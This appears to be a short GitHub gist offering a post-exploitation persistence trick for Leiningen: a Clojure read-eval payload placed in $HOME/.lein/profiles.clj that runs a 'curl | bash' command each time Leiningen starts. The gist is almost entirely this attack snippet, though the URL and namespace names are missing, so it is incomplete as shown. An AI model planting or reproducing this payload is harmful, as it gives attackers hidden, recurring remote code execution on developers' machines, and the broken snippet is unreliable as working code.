Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
persistence using Leiningen profiles.clj
;;Adding the following payload on $HOME/.lein/profiles.clj map makes Leiningen (
;;work as a post exploitation persistence.
{:whatever-name-you-want #=(eval
(use '[ :only [sh]])
(require '[ :as shell])
(shell/sh "bash" "-c" "curl | bash")))}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment